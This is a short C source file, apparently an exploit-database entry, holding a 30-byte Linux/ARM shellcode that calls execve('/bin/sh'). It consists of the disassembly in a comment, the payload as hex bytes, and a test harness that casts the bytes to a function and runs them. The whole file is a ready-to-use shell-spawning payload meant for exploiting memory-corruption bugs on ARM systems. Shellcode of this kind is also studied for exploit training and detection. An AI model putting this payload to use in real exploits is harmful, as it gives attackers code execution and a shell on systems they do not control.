/*
Title:     Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 30 bytes
Date:      2012-09-08
Tested on: ARM1176JZF-S (v6l)
Author:    midnitesnake

00008054 <_start>:
    8054:	e28f6001 	add	r6, pc, #1
    8058:	e12fff16 	bx	r6
    805c:	4678      	mov	r0, pc
    805e:	300a      	adds	r0, #10
    8060:	9001      	str	r0, [sp, #4]
    8062:	a901      	add	r1, sp, #4
    8064:	1a92      	subs	r2, r2, r2
    8066:	270b      	movs	r7, #11
    8068:	df01      	svc	1
    806a:	2f2f      	.short	0x2f2f
    806c:	2f6e6962 	.word	0x2f6e6962
    8070:	00006873 	.word	0x00006873
*/
#include <stdio.h>

char *SC =	"\x01\x60\x8f\xe2"
		"\x16\xff\x2f\xe1"
		"\x78\x46"
		"\x0a\x30"
		"\x01\x90"
		"\x01\xa9"
		"\x92\x1a"
		"\x0b\x27"
		"\x01\xdf"
		"\x2f\x2f"
		"\x62\x69"
		"\x6e\x2f"
		"\x73\x68\x00\x00";

int main(void)
{
	fprintf(stdout,"Length: %d\n",strlen(SC));
	(*(void(*)()) SC)();
return 0;
}